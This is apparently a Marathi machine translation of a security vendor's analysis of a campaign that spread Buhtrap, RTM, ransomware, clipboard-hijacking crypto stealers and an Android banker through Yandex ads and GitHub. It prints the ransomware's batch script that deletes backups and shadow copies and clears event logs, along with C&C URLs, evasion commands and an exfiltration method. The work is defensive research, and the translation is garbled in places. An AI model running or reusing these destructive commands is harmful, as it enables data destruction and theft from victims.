बॅकडोअर आणि बुहट्रॅप एन्क्रिप्टर Yandex.Direct वापरून वितरित केले गेले

सायबर हल्ल्यात अकाउंटंट्सना लक्ष्य करण्यासाठी, तुम्ही ते ऑनलाइन शोधत असलेल्या कामाची कागदपत्रे वापरू शकता. मागील काही महिन्यांपासून एक सायबर गट हेच करत आहे, ज्ञात मागच्या दरवाजांचे वितरण करत आहे. बुहट्रॅप и राष्ट्रसंत तुकडोजी महाराज, तसेच क्रिप्टोकरन्सी चोरण्यासाठी एन्क्रिप्टर्स आणि सॉफ्टवेअर. बहुतेक लक्ष्य रशियामध्ये आहेत. Yandex.Direct वर दुर्भावनापूर्ण जाहिराती देऊन हा हल्ला करण्यात आला. संभाव्य पीडितांना एका वेबसाइटवर निर्देशित केले गेले जेथे त्यांना दस्तऐवज टेम्पलेटच्या रूपात दुर्भावनायुक्त फाइल डाउनलोड करण्यास सांगितले गेले. आमच्या चेतावणीनंतर यांडेक्सने दुर्भावनापूर्ण जाहिराती काढून टाकल्या.

Buhtrap चा सोर्स कोड भूतकाळात ऑनलाइन लीक झाला आहे त्यामुळे कोणीही त्याचा वापर करू शकेल. आमच्याकडे RTM कोडच्या उपलब्धतेबाबत कोणतीही माहिती नाही.

या पोस्टमध्ये आम्ही तुम्हाला सांगू की आक्रमणकर्त्यांनी Yandex.Direct वापरून मालवेअर कसे वितरित केले आणि ते GitHub वर होस्ट केले. मालवेअरच्या तांत्रिक विश्लेषणाने पोस्ट संपेल.

Buhtrap आणि RTM व्यवसायात परत आले आहेत

प्रसार आणि बळींची यंत्रणा

पीडितांना वितरित केलेले विविध पेलोड एक सामान्य प्रसार यंत्रणा सामायिक करतात. हल्लेखोरांनी तयार केलेल्या सर्व दुर्भावनापूर्ण फायली दोन भिन्न GitHub रेपॉजिटरीजमध्ये ठेवल्या होत्या.

सामान्यतः, रेपॉजिटरीमध्ये एक डाउनलोड करण्यायोग्य दुर्भावनायुक्त फाइल असते, जी वारंवार बदलत असते. GitHub तुम्हाला रेपॉजिटरीमधील बदलांचा इतिहास पाहण्याची परवानगी देत ​​असल्याने, विशिष्ट कालावधीत कोणते मालवेअर वितरित केले गेले ते आम्ही पाहू शकतो. दुर्भावनायुक्त फाइल डाउनलोड करण्यासाठी पीडितेला पटवून देण्यासाठी, वरील आकृतीमध्ये दर्शविलेल्या blanki-shabloni24[.]ru ही वेबसाइट वापरली गेली.

साइटचे डिझाइन आणि दुर्भावनापूर्ण फायलींची सर्व नावे एकाच संकल्पनेचे अनुसरण करतात - फॉर्म, टेम्पलेट, करार, नमुने इ. भूतकाळात लेखापालांवर झालेल्या हल्ल्यांमध्ये बुहट्रॅप आणि आरटीएम सॉफ्टवेअर वापरले गेले आहेत हे लक्षात घेऊन, आम्ही असे गृहीत धरले की नवीन मोहिमेत रणनीती समान आहे. पीडित व्यक्ती हल्लेखोरांच्या वेबसाइटवर कशी आली हा एकच प्रश्न आहे.

दूषित

या साइटवर संपलेल्या कमीतकमी अनेक संभाव्य बळी दुर्भावनापूर्ण जाहिरातींद्वारे आकर्षित झाले. खाली एक उदाहरण URL आहे:

https://blanki-shabloni24.ru/?utm_source=yandex&utm_medium=banner&utm_campaign=cid|{blanki_rsya}|context&utm_content=gid|3590756360|aid|6683792549|15114654950_&utm_term=скачать бланк счета&pm_source=bb.f2.kz&pm_block=none&pm_position=0&yclid=1029648968001296456

तुम्ही लिंकवरून बघू शकता, बॅनर कायदेशीर लेखा मंच bb.f2[.]kz वर पोस्ट केला गेला होता. हे लक्षात घेणे महत्त्वाचे आहे की बॅनर वेगवेगळ्या साइटवर दिसले होते, सर्वांचा मोहीम आयडी (blanki_rsya) सारखाच होता आणि बहुतेक लेखा किंवा कायदेशीर सहाय्य सेवांशी संबंधित होते. URL दर्शविते की संभाव्य बळीने “डाऊनलोड इन्व्हॉइस फॉर्म” ही विनंती वापरली आहे, जी लक्ष्यित हल्ल्यांच्या आमच्या गृहीतकाचे समर्थन करते. खाली बॅनर दिसलेल्या साइट्स आणि संबंधित शोध क्वेरी आहेत.

• इन्व्हॉइस फॉर्म डाउनलोड करा – bb.f2[.]kz
• नमुना करार - Ipopen[.]ru
• अर्ज तक्रार नमुना - 77metrov[.]ru
• कराराचा फॉर्म - blank-dogovor-kupli-prodazhi[.]ru
• नमुना न्यायालयीन याचिका - zen.yandex[.]ru
• नमुना तक्रार - yurday[.]ru
• नमुना करार फॉर्म – Regforum[.]ru
• कॉन्ट्रॅक्ट फॉर्म – असिस्टंटस[.]ru
• नमुना अपार्टमेंट करार – napravah[.]com
• कायदेशीर करारांचे नमुने - avito[.]ru

blanki-shabloni24[.]ru साइट कदाचित एक साधे दृश्य मूल्यांकन पास करण्यासाठी कॉन्फिगर केली गेली असावी. सामान्यतः, GitHub च्या लिंकसह व्यावसायिक दिसणार्‍या साइटकडे निर्देश करणारी जाहिरात स्पष्टपणे काहीतरी वाईट वाटत नाही. याव्यतिरिक्त, आक्रमणकर्त्यांनी दुर्भावनापूर्ण फाइल्स रिपॉझिटरीमध्ये केवळ मर्यादित कालावधीसाठी अपलोड केल्या, कदाचित मोहिमेदरम्यान. बहुतेक वेळा, GitHub रेपॉजिटरीमध्ये रिक्त झिप संग्रहण किंवा रिक्त EXE फाइल असते. अशा प्रकारे, आक्रमणकर्ते Yandex.Direct द्वारे जाहिराती वितरीत करू शकतील ज्या साइटवर बहुधा लेखापालांनी भेट दिली होती जे विशिष्ट शोध प्रश्नांना प्रतिसाद म्हणून आले होते.

पुढे, अशा प्रकारे वितरित केलेले विविध पेलोड पाहू.

पेलोड विश्लेषण

वितरणाचा कालक्रम

दुर्भावनापूर्ण मोहीम ऑक्टोबर 2018 च्या शेवटी सुरू झाली आणि लेखनाच्या वेळी सक्रिय आहे. GitHub वर संपूर्ण भांडार सार्वजनिकरित्या उपलब्ध असल्याने, आम्ही सहा वेगवेगळ्या मालवेअर कुटुंबांच्या वितरणाची अचूक टाइमलाइन संकलित केली (खालील आकृती पहा). आम्ही गिट इतिहासाशी तुलना करण्यासाठी, ESET टेलिमेट्रीद्वारे मोजल्याप्रमाणे बॅनर लिंक कधी शोधली गेली हे दर्शविणारी एक ओळ जोडली आहे. तुम्ही बघू शकता, हे GitHub वर पेलोडच्या उपलब्धतेशी चांगले संबंध ठेवते. फेब्रुवारीच्या शेवटी असलेली विसंगती या वस्तुस्थितीद्वारे स्पष्ट केली जाऊ शकते की आमच्याकडे बदलाच्या इतिहासाचा भाग नव्हता कारण आम्हाला ते पूर्ण मिळण्याआधी GitHub वरून रिपॉझिटरी काढून टाकण्यात आली होती.

आकृती 1. मालवेअर वितरणाचा कालक्रम.

कोड साइनिंग प्रमाणपत्रे

मोहिमेत अनेक प्रमाणपत्रे वापरली गेली. काहींवर एकापेक्षा जास्त मालवेअर कुटुंबाने स्वाक्षरी केली होती, जे पुढे सूचित करते की भिन्न नमुने एकाच मोहिमेचे आहेत. खाजगी कीची उपलब्धता असूनही, ऑपरेटरने बायनरींवर पद्धतशीरपणे स्वाक्षरी केली नाही आणि सर्व नमुन्यांसाठी की वापरली नाही. फेब्रुवारी 2019 च्या उत्तरार्धात, हल्लेखोरांनी Google च्या मालकीचे प्रमाणपत्र वापरून अवैध स्वाक्षर्या तयार करण्यास सुरुवात केली ज्यासाठी त्यांच्याकडे खाजगी की नव्हती.

मोहिमेमध्ये सामील असलेली सर्व प्रमाणपत्रे आणि त्यांनी स्वाक्षरी केलेली मालवेअर कुटुंबे खालील तक्त्यामध्ये सूचीबद्ध आहेत.

आम्ही इतर मालवेअर कुटुंबांसह दुवे स्थापित करण्यासाठी ही कोड स्वाक्षरी प्रमाणपत्रे देखील वापरली आहेत. बर्‍याच प्रमाणपत्रांसाठी, आम्हाला नमुने सापडले नाहीत जे GitHub रेपॉजिटरीद्वारे वितरित केले गेले नाहीत. तथापि, TOV “MARIA” प्रमाणपत्राचा वापर बॉटनेटशी संबंधित मालवेअरवर स्वाक्षरी करण्यासाठी केला गेला वाउचोस, अॅडवेअर आणि खाण कामगार. हे मालवेअर या मोहिमेशी संबंधित असण्याची शक्यता नाही. बहुधा, प्रमाणपत्र डार्कनेटवर खरेदी केले गेले.

Win32/Filecoder.Buhtrap

आमचे लक्ष वेधून घेतलेला पहिला घटक म्हणजे नवीन शोधलेला Win32/Filecoder.Buhtrap. ही डेल्फी बायनरी फाइल आहे जी कधीकधी पॅकेज केली जाते. हे प्रामुख्याने फेब्रुवारी-मार्च 2019 मध्ये वितरित केले गेले. हे रॅन्समवेअर प्रोग्रामला शोभेल तसे वागते - ते स्थानिक ड्राइव्हस् आणि नेटवर्क फोल्डर्स शोधते आणि सापडलेल्या फाइल्स एनक्रिप्ट करते. त्याला तडजोड करण्यासाठी इंटरनेट कनेक्शनची आवश्यकता नाही कारण ते एन्क्रिप्शन की पाठवण्यासाठी सर्व्हरशी संपर्क साधत नाही. त्याऐवजी, ते खंडणी संदेशाच्या शेवटी "टोकन" जोडते आणि ऑपरेटरशी संपर्क साधण्यासाठी ईमेल किंवा बिटमेसेज वापरण्याची सूचना देते.

शक्य तितक्या संवेदनशील संसाधने कूटबद्ध करण्यासाठी, Filecoder.Buhtrap मुख्य सॉफ्टवेअर बंद करण्यासाठी डिझाइन केलेला एक थ्रेड चालवते ज्यात कूटबद्धीकरणात व्यत्यय आणू शकणारी मौल्यवान माहिती असलेले ओपन फाइल हँडलर असू शकतात. लक्ष्य प्रक्रिया प्रामुख्याने डेटाबेस व्यवस्थापन प्रणाली (DBMS) आहेत. याव्यतिरिक्त, डेटा पुनर्प्राप्ती कठीण करण्यासाठी Filecoder.Buhtrap लॉग फाइल्स आणि बॅकअप हटवते. हे करण्यासाठी, खालील बॅच स्क्रिप्ट चालवा.

bcdedit /set {default} bootstatuspolicy ignoreallfailures
bcdedit /set {default} recoveryenabled no
wbadmin delete catalog -quiet
wbadmin delete systemstatebackup
wbadmin delete systemstatebackup -keepversions:0
wbadmin delete backup
wmic shadowcopy delete
vssadmin delete shadows /all /quiet
reg delete "HKEY_CURRENT_USERSoftwareMicrosoftTerminal Server ClientDefault" /va /f
reg delete "HKEY_CURRENT_USERSoftwareMicrosoftTerminal Server ClientServers" /f
reg add "HKEY_CURRENT_USERSoftwareMicrosoftTerminal Server ClientServers"
attrib "%userprofile%documentsDefault.rdp" -s -h
del "%userprofile%documentsDefault.rdp"
wevtutil.exe clear-log Application
wevtutil.exe clear-log Security
wevtutil.exe clear-log System
sc config eventlog start=disabled

Filecoder.Buhtrap वेबसाइट अभ्यागतांची माहिती गोळा करण्यासाठी डिझाइन केलेली कायदेशीर ऑनलाइन IP लॉगर सेवा वापरते. हे रॅन्समवेअरच्या बळींचा मागोवा घेण्याच्या उद्देशाने आहे, जे कमांड लाइनची जबाबदारी आहे:

mshta.exe "javascript:document.write('');"

एन्क्रिप्शनसाठी फायली निवडल्या जातात जर त्या तीन अपवर्जन सूचीशी जुळत नसतील. प्रथम, खालील विस्तारांसह फाइल्स एन्क्रिप्ट केलेल्या नाहीत: .com, .cmd, .cpl, .dll, .exe, .hta, .lnk, .msc, .msi, .msp, .pif, .scr, .sys आणि .वटवाघूळ. दुसरे म्हणजे, सर्व फाईल्स ज्यांच्या पूर्ण पथमध्ये खालील सूचीमधून निर्देशिका स्ट्रिंग आहेत त्या वगळल्या आहेत.

.{ED7BA470-8E54-465E-825C-99712043E01C}
tor browser
opera
opera software
mozilla
mozilla firefox
internet explorer
googlechrome
google
boot
application data
apple computersafari
appdata
all users
:windows
:system volume information
:nvidia
:intel

तिसरे, काही फाइलची नावे देखील एन्क्रिप्शनमधून वगळण्यात आली आहेत, त्यापैकी खंडणी संदेशाचे फाइल नाव. यादी खाली सादर केली आहे. साहजिकच, हे सर्व अपवाद मशीन चालू ठेवण्याच्या उद्देशाने आहेत, परंतु कमीत कमी रस्त्याच्या योग्यतेसह.

boot.ini
bootfont.bin
bootsect.bak
desktop.ini
iconcache.db
ntdetect.com
ntldr
ntuser.dat
ntuser.dat.log
ntuser.ini
thumbs.db
winupas.exe
your files are now encrypted.txt
windows update assistant.lnk
master.exe
unlock.exe
unlocker.exe

फाइल एन्क्रिप्शन योजना

एकदा कार्यान्वित झाल्यानंतर, मालवेअर 512-बिट RSA की जोडी तयार करतो. खाजगी घातांक (d) आणि modulus (n) नंतर हार्ड-कोडेड 2048-बिट सार्वजनिक की (सार्वजनिक घातांक आणि मॉड्यूलस), zlib-पॅक केलेले आणि बेस64 एन्कोडेडसह कूटबद्ध केले जातात. यासाठी जबाबदार असलेला कोड आकृती 2 मध्ये दर्शविला आहे.

आकृती 2. 512-बिट RSA की जोडी निर्मिती प्रक्रियेचे हेक्स-रे डीकंपिलेशनचे परिणाम.

खाली व्युत्पन्न केलेल्या खाजगी कीसह साध्या मजकुराचे उदाहरण आहे, जे खंडणी संदेशाशी संलग्न केलेले टोकन आहे.

DF9228F4F3CA93314B7EE4BEFC440030665D5A2318111CC3FE91A43D781E3F91BD2F6383E4A0B4F503916D75C9C576D5C2F2F073ADD4B237F7A2B3BF129AE2F399197ECC0DD002D5E60C20CE3780AB9D1FE61A47D9735036907E3F0CF8BE09E3E7646F8388AAC75FF6A4F60E7F4C2F697BF6E47B2DBCDEC156EAD854CADE53A239

हल्लेखोरांची सार्वजनिक की खाली दिली आहे.

e = 0x72F750D7A93C2C88BFC87AD4FC0BF4CB45E3C55701FA03D3E75162EB5A97FDA7ACF8871B220A33BEDA546815A9AD9AA0C2F375686F5009C657BB3DF35145126C71E3C2EADF14201C8331699FD0592C957698916FA9FEA8F0B120E4296193AD7F3F3531206608E2A8F997307EE7D14A9326B77F1B34C4F1469B51665757AFD38E88F758B9EA1B95406E72B69172A7253F1DFAA0FA02B53A2CC3A7F0D708D1A8CAA30D954C1FEAB10AD089EFB041DD016DCAAE05847B550861E5CACC6A59B112277B60AC0E4E5D0EA89A5127E93C2182F77FDA16356F4EF5B7B4010BCCE1B1331FCABFFD808D7DAA86EA71DFD36D7E701BD0050235BD4D3F20A97AAEF301E785005
n = 0x212ED167BAC2AEFF7C3FA76064B56240C5530A63AB098C9B9FA2DE18AF9F4E1962B467ABE2302C818860F9215E922FC2E0E28C0946A0FC746557722EBB35DF432481AC7D5DDF69468AF1E952465E61DDD06CDB3D924345A8833A7BC7D5D9B005585FE95856F5C44EA917306415B767B684CC85E7359C23231C1DCBBE714711C08848BEB06BD287781AEB53D94B7983EC9FC338D4320129EA4F568C410317895860D5A85438B2DA6BB3BAAE9D9CE65BCEA6760291D74035775F28DF4E6AB1A748F78C68AB07EA166A7309090202BB3F8FBFC19E44AC0B4D3D0A37C8AA5FA90221DA7DB178F89233E532FF90B55122B53AB821E1A3DB0F02524429DEB294B3A4EDD

फाइल्स 128-बिट की सह AES-256-CBC वापरून एनक्रिप्ट केल्या आहेत. प्रत्येक एनक्रिप्टेड फाइलसाठी, एक नवीन की आणि नवीन इनिशियलायझेशन वेक्टर व्युत्पन्न केले जातात. मुख्य माहिती एनक्रिप्टेड फाइलच्या शेवटी जोडली जाते. चला एनक्रिप्टेड फाइलचे स्वरूप विचारात घेऊया.
एनक्रिप्ट केलेल्या फायलींमध्ये खालील शीर्षलेख आहेत:

VEGA मॅजिक व्हॅल्यूसह स्त्रोत फाइल डेटा पहिल्या 0x5000 बाइट्समध्ये कूटबद्ध केला जातो. सर्व डिक्रिप्शन माहिती खालील संरचनेसह फाइलशी संलग्न आहे:

- फाइल आकार मार्करमध्ये फाइल 0x5000 बाइट्स पेक्षा मोठी आहे की नाही हे दर्शविणारी खूण असते
— AES की ब्लॉब = ZlibCompress(RSAEncrypt(AES की + IV, व्युत्पन्न केलेल्या RSA की जोडीची सार्वजनिक की))
- RSA की ब्लॉब = ZlibCompress(RSAEncrypt(व्युत्पन्न केलेली RSA खाजगी की, हार्ड-कोडेड RSA सार्वजनिक की))

Win32/ClipBanker

Win32/ClipBanker हा एक घटक आहे जो ऑक्टोबरच्या उत्तरार्धापासून डिसेंबर 2018 च्या सुरुवातीस अधूनमधून वितरित केला जातो. क्लिपबोर्डवरील सामग्रीचे निरीक्षण करणे ही त्याची भूमिका आहे, ती क्रिप्टोकरन्सी वॉलेटचे पत्ते शोधते. लक्ष्य वॉलेट पत्ता निश्चित केल्यावर, क्लिपबँकर ऑपरेटरच्या मालकीच्या पत्त्याने बदलतो. आम्ही तपासलेले नमुने बॉक्स केलेले किंवा अस्पष्ट नव्हते. वर्तन मुखवटा करण्यासाठी वापरली जाणारी एकमेव यंत्रणा म्हणजे स्ट्रिंग एन्क्रिप्शन. ऑपरेटर वॉलेट पत्ते RC4 वापरून एनक्रिप्ट केलेले आहेत. Bitcoin, Bitcoin रोख, Dogecoin, Ethereum आणि Ripple हे लक्ष्य क्रिप्टोकरन्सी आहेत.

आक्रमणकर्त्यांच्या बिटकॉइन वॉलेटमध्ये मालवेअर पसरत असताना, व्हीटीएसला थोडी रक्कम पाठवली गेली, ज्यामुळे मोहिमेच्या यशावर शंका निर्माण झाली. याव्यतिरिक्त, हे व्यवहार क्लिपबँकरशी संबंधित होते असे सूचित करणारा कोणताही पुरावा नाही.

Win32/RTM

Win32/RTM घटक मार्च 2019 च्या सुरुवातीला अनेक दिवसांसाठी वितरित केला गेला. आरटीएम हे डेल्फीमध्ये लिहिलेले ट्रोजन बँकर आहे, ज्याचा उद्देश रिमोट बँकिंग सिस्टम आहे. 2017 मध्ये, ESET संशोधकांनी प्रकाशित केले तपशीलवार विश्लेषण या कार्यक्रमाचे, वर्णन अद्याप संबंधित आहे. जानेवारी 2019 मध्ये, Palo Alto Networks देखील रिलीज झाले RTM बद्दल ब्लॉग पोस्ट.

बुहट्रॅप लोडर

काही काळासाठी, GitHub वर एक डाउनलोडर उपलब्ध होता जो मागील बुहट्रॅप साधनांसारखा नव्हता. तो वळतो https://94.100.18[.]67/RSS.php?<some_id> पुढील टप्पा मिळविण्यासाठी आणि ते थेट मेमरीमध्ये लोड करण्यासाठी. आपण दुसऱ्या टप्प्यातील कोडच्या दोन वर्तनांमध्ये फरक करू शकतो. पहिल्या URL मध्ये, RSS.php ने Buhtrap बॅकडोअर थेट पास केले - हा बॅकडोअर स्त्रोत कोड लीक झाल्यानंतर उपलब्ध असलेल्या URL सारखा आहे.

विशेष म्हणजे, आम्ही बुहट्रॅप बॅकडोअरसह अनेक मोहिमा पाहतो आणि त्या कथितपणे वेगवेगळ्या ऑपरेटरद्वारे चालवल्या जातात. या प्रकरणात, मुख्य फरक असा आहे की बॅकडोअर थेट मेमरीमध्ये लोड केला जातो आणि डीएलएल उपयोजन प्रक्रियेसह नेहमीच्या योजनेचा वापर करत नाही ज्याबद्दल आम्ही बोललो. आधी. याव्यतिरिक्त, ऑपरेटर्सनी C&C सर्व्हरवर नेटवर्क ट्रॅफिक एनक्रिप्ट करण्यासाठी वापरलेली RC4 की बदलली. आम्ही पाहिलेल्या बहुतेक मोहिमांमध्ये, ऑपरेटर्सनी ही की बदलण्याची तसदी घेतली नाही.

दुसरे, अधिक क्लिष्ट वर्तन म्हणजे RSS.php URL दुसर्‍या लोडरला पास केले गेले. याने डायनॅमिक आयात सारणीची पुनर्बांधणी करण्यासारख्या काही अस्पष्टता लागू केल्या. C&C सर्व्हरशी संपर्क साधणे हा बूटलोडरचा उद्देश आहे msiofficeupd[.]com/api/F27F84EDA4D13B15/2, लॉग पाठवा आणि प्रतिसादाची प्रतीक्षा करा. ते प्रतिसादावर ब्लॉब म्हणून प्रक्रिया करते, मेमरीमध्ये लोड करते आणि ते कार्यान्वित करते. हा लोडर कार्यान्वित करताना आम्ही पाहिलेले पेलोड समान बुहट्रॅप बॅकडोअर होते, परंतु इतर घटक असू शकतात.

Android/Spy.Banker

विशेष म्हणजे GitHub रेपॉजिटरीमध्ये अँड्रॉइडसाठी एक घटक देखील सापडला. तो मुख्य शाखेत फक्त एक दिवस होता - 1 नोव्हेंबर 2018. GitHub वर पोस्ट केल्याशिवाय, ESET टेलिमेट्रीला हे मालवेअर वितरित केल्याचा कोणताही पुरावा आढळला नाही.

हा घटक Android Application Package (APK) म्हणून होस्ट केला होता. हे खूप अस्पष्ट आहे. दुर्भावनापूर्ण वर्तन APK मध्ये स्थित एनक्रिप्टेड JAR मध्ये लपलेले आहे. हे की वापरून RC4 सह एनक्रिप्ट केले आहे:

key = [
0x87, 0xd6, 0x2e, 0x66, 0xc5, 0x8a, 0x26, 0x00, 0x72, 0x86, 0x72, 0x6f,
0x0c, 0xc1, 0xdb, 0xcb, 0x14, 0xd2, 0xa8, 0x19, 0xeb, 0x85, 0x68, 0xe1,
0x2f, 0xad, 0xbe, 0xe3, 0xb9, 0x60, 0x9b, 0xb9, 0xf4, 0xa0, 0xa2, 0x8b, 0x96
]

स्ट्रिंग्स एनक्रिप्ट करण्यासाठी समान की आणि अल्गोरिदम वापरतात. JAR मध्ये स्थित आहे APK_ROOT + image/files. फाइलच्या पहिल्या 4 बाइट्समध्ये एनक्रिप्टेड JAR ची लांबी असते, जी लांबी फील्डनंतर लगेच सुरू होते.

फाईल डिक्रिप्ट केल्यावर, आम्हाला आढळले की ती अनुबिस होती - पूर्वी दस्तऐवजीकरण Android साठी बँकर. मालवेअरमध्ये खालील वैशिष्ट्ये आहेत:

• मायक्रोफोन रेकॉर्डिंग
• स्क्रीनशॉट घेत आहे
• GPS निर्देशांक मिळवणे
• keylogger
• डिव्हाइस डेटा एन्क्रिप्शन आणि खंडणीची मागणी
• स्पॅम पाठवत आहे

विशेष म्हणजे, बँकरने दुसरा C&C सर्व्हर मिळवण्यासाठी बॅकअप कम्युनिकेशन चॅनेल म्हणून ट्विटरचा वापर केला. आम्ही विश्लेषण केलेल्या नमुन्यात @JonesTrader खाते वापरले, परंतु विश्लेषणाच्या वेळी ते आधीच अवरोधित केले गेले होते.

बँकरमध्ये Android डिव्हाइसवरील लक्ष्य अनुप्रयोगांची सूची आहे. सोफॉस अभ्यासात मिळालेल्या यादीपेक्षा ते लांब आहे. या यादीमध्ये अनेक बँकिंग अॅप्लिकेशन्स, Amazon आणि eBay सारखे ऑनलाइन शॉपिंग प्रोग्राम आणि क्रिप्टोकरन्सी सेवांचा समावेश आहे.

MSIL/ClipBanker.IH

या मोहिमेचा भाग म्हणून वितरीत केलेला शेवटचा घटक .NET Windows एक्झिक्युटेबल होता, जो मार्च 2019 मध्ये दिसला. अभ्यास केलेल्या बहुतेक आवृत्त्या ConfuserEx v1.0.0 सह पॅकेज केलेल्या होत्या. ClipBanker प्रमाणे, हा घटक क्लिपबोर्ड वापरतो. त्याचे ध्येय क्रिप्टोकरन्सीची विस्तृत श्रेणी, तसेच स्टीमवर ऑफर आहे. याव्यतिरिक्त, तो Bitcoin खाजगी WIF की चोरण्यासाठी IP लॉगर सेवा वापरतो.

संरक्षण यंत्रणा
डिबगिंग, डंपिंग आणि छेडछाड रोखण्यासाठी ConfuserEx प्रदान केलेल्या फायद्यांव्यतिरिक्त, घटकामध्ये अँटीव्हायरस उत्पादने आणि आभासी मशीन शोधण्याची क्षमता समाविष्ट आहे.

ते व्हर्च्युअल मशीनमध्ये चालते हे सत्यापित करण्यासाठी, मालवेअर BIOS माहितीची विनंती करण्यासाठी अंगभूत Windows WMI कमांड लाइन (WMIC) वापरतो, म्हणजे:

wmic bios

मग प्रोग्राम कमांड आउटपुट पार्स करतो आणि कीवर्ड शोधतो: VBOX, VirtualBox, XEN, qemu, bochs, VM.

अँटीव्हायरस उत्पादने शोधण्यासाठी, मालवेयर वापरून Windows सुरक्षा केंद्राला Windows मॅनेजमेंट इंस्ट्रुमेंटेशन (WMI) विनंती पाठवते. ManagementObjectSearcher खाली दर्शविल्याप्रमाणे API. बेस 64 वरून डीकोड केल्यानंतर कॉल असे दिसते:

ManagementObjectSearcher('rootSecurityCenter2', 'SELECT * FROM AntivirusProduct')

आकृती 3. अँटीव्हायरस उत्पादने ओळखण्याची प्रक्रिया.

याव्यतिरिक्त, मालवेअर तपासते की नाही क्रिप्टोक्लिपवॉचर, क्लिपबोर्ड हल्ल्यांपासून संरक्षण करण्यासाठी एक साधन आणि, चालू असल्यास, त्या प्रक्रियेतील सर्व थ्रेड्स निलंबित करते, त्यामुळे संरक्षण अक्षम करते.

चिकाटी

आम्ही अभ्यास केलेल्या मालवेअरची आवृत्ती स्वतःमध्ये कॉपी करते %APPDATA%googleupdater.exe आणि google डिरेक्टरीसाठी "लपलेले" विशेषता सेट करते. मग ती मूल्य बदलते SoftwareMicrosoftWindows NTCurrentVersionWinlogonshell विंडोज रेजिस्ट्रीमध्ये आणि मार्ग जोडते updater.exe. अशा प्रकारे, प्रत्येक वेळी वापरकर्त्याने लॉग इन केल्यावर मालवेअर कार्यान्वित होईल.

दुर्भावनापूर्ण वर्तन

ClipBanker प्रमाणे, मालवेअर क्लिपबोर्डच्या सामग्रीवर लक्ष ठेवतो आणि क्रिप्टोकरन्सी वॉलेट पत्ते शोधतो आणि जेव्हा सापडतो तेव्हा तो ऑपरेटरच्या पत्त्यांपैकी एकाने बदलतो. खाली कोडमध्ये काय आढळते यावर आधारित लक्ष्य पत्त्यांची सूची आहे.

BTC_P2PKH, BTC_P2SH, BTC_BECH32, BCH_P2PKH_CashAddr, BTC_GOLD, LTC_P2PKH, LTC_BECH32, LTC_P2SH_M, ETH_ERC20, XMR, DCR, XRP, DOGE, DASH, ZEC_T_ADDR, ZEC_Z_ADDR, STELLAR, NEO, ADA, IOTA, NANO_1, NANO_3, BANANO_1, BANANO_3, STRATIS, NIOBIO, LISK, QTUM, WMZ, WMX, WME, VERTCOIN, TRON, TEZOS, QIWI_ID, YANDEX_ID, NAMECOIN, B58_PRIVATEKEY, STEAM_URL

प्रत्येक प्रकारच्या पत्त्यासाठी संबंधित नियमित अभिव्यक्ती असते. STEAM_URL मूल्य हे स्टीम सिस्टीमवर हल्ला करण्यासाठी वापरले जाते, जसे की बफरमध्ये परिभाषित करण्यासाठी वापरल्या जाणार्‍या रेग्युलर एक्स्प्रेशनमधून पाहिले जाऊ शकते:

b(https://|http://|)steamcommunity.com/tradeoffer/new/?partner=[0-9]+&token=[a-zA-Z0-9]+b

एक्सफिल्टेशन चॅनेल

बफरमधील पत्ते बदलण्याव्यतिरिक्त, मालवेअर बिटकॉइन, बिटकॉइन कोअर आणि इलेक्ट्रम बिटकॉइन वॉलेटच्या खाजगी WIF की ला लक्ष्य करते. कार्यक्रम WIF खाजगी की प्राप्त करण्यासाठी plogger.org चा एक्सफिल्टेशन चॅनेल म्हणून वापर करतो. हे करण्यासाठी, ऑपरेटर खाली दर्शविल्याप्रमाणे, वापरकर्ता-एजंट HTTP शीर्षलेखात खाजगी की डेटा जोडतात.

आकृती 4. आउटपुट डेटासह IP लॉगर कन्सोल.

ऑपरेटरने पाकीट काढण्यासाठी iplogger.org चा वापर केला नाही. फील्डमधील 255 वर्ण मर्यादेमुळे त्यांनी कदाचित वेगळ्या पद्धतीचा अवलंब केला User-Agentआयपी लॉगर वेब इंटरफेसमध्ये प्रदर्शित. आम्ही अभ्यास केलेल्या नमुन्यांमध्ये, इतर आउटपुट सर्व्हर पर्यावरण व्हेरिएबलमध्ये संग्रहित केले गेले DiscordWebHook. आश्चर्याची गोष्ट म्हणजे, हे पर्यावरण व्हेरिएबल कोडमध्ये कुठेही नियुक्त केलेले नाही. हे सूचित करते की मालवेअर अद्याप विकसित होत आहे आणि व्हेरिएबल ऑपरेटरच्या चाचणी मशीनला नियुक्त केले आहे.

कार्यक्रम विकसित होत असल्याचे आणखी एक चिन्ह आहे. बायनरी फाइलमध्ये दोन iplogger.org URL समाविष्ट आहेत आणि जेव्हा डेटा एक्सफिल्ट केला जातो तेव्हा दोन्हीची चौकशी केली जाते. या URL पैकी एका विनंतीमध्ये, संदर्भ फील्डमधील मूल्य "DEV /" च्या आधी आहे. आम्हाला एक आवृत्ती देखील आढळली जी ConfuserEx वापरून पॅकेज केलेली नाही, या URL साठी प्राप्तकर्त्याचे नाव DevFeedbackUrl आहे. पर्यावरण व्हेरिएबल नावाच्या आधारे, आम्हाला विश्वास आहे की ऑपरेटर क्रिप्टोकरन्सी वॉलेट चोरण्यासाठी कायदेशीर सेवा Discord आणि त्याची वेब इंटरसेप्शन सिस्टम वापरण्याची योजना करत आहेत.

निष्कर्ष

ही मोहीम सायबर हल्ल्यांमध्ये कायदेशीर जाहिरात सेवांच्या वापराचे उदाहरण आहे. ही योजना रशियन संस्थांना लक्ष्य करते, परंतु गैर-रशियन सेवा वापरून असा हल्ला पाहून आम्हाला आश्चर्य वाटणार नाही. तडजोड टाळण्यासाठी, वापरकर्त्यांनी डाउनलोड केलेल्या सॉफ्टवेअरच्या स्त्रोताच्या प्रतिष्ठेवर विश्वास असणे आवश्यक आहे.

तडजोड आणि MITER ATT&CK विशेषतांच्या निर्देशकांची संपूर्ण यादी येथे उपलब्ध आहे दुवा.

स्त्रोत: www.habr.com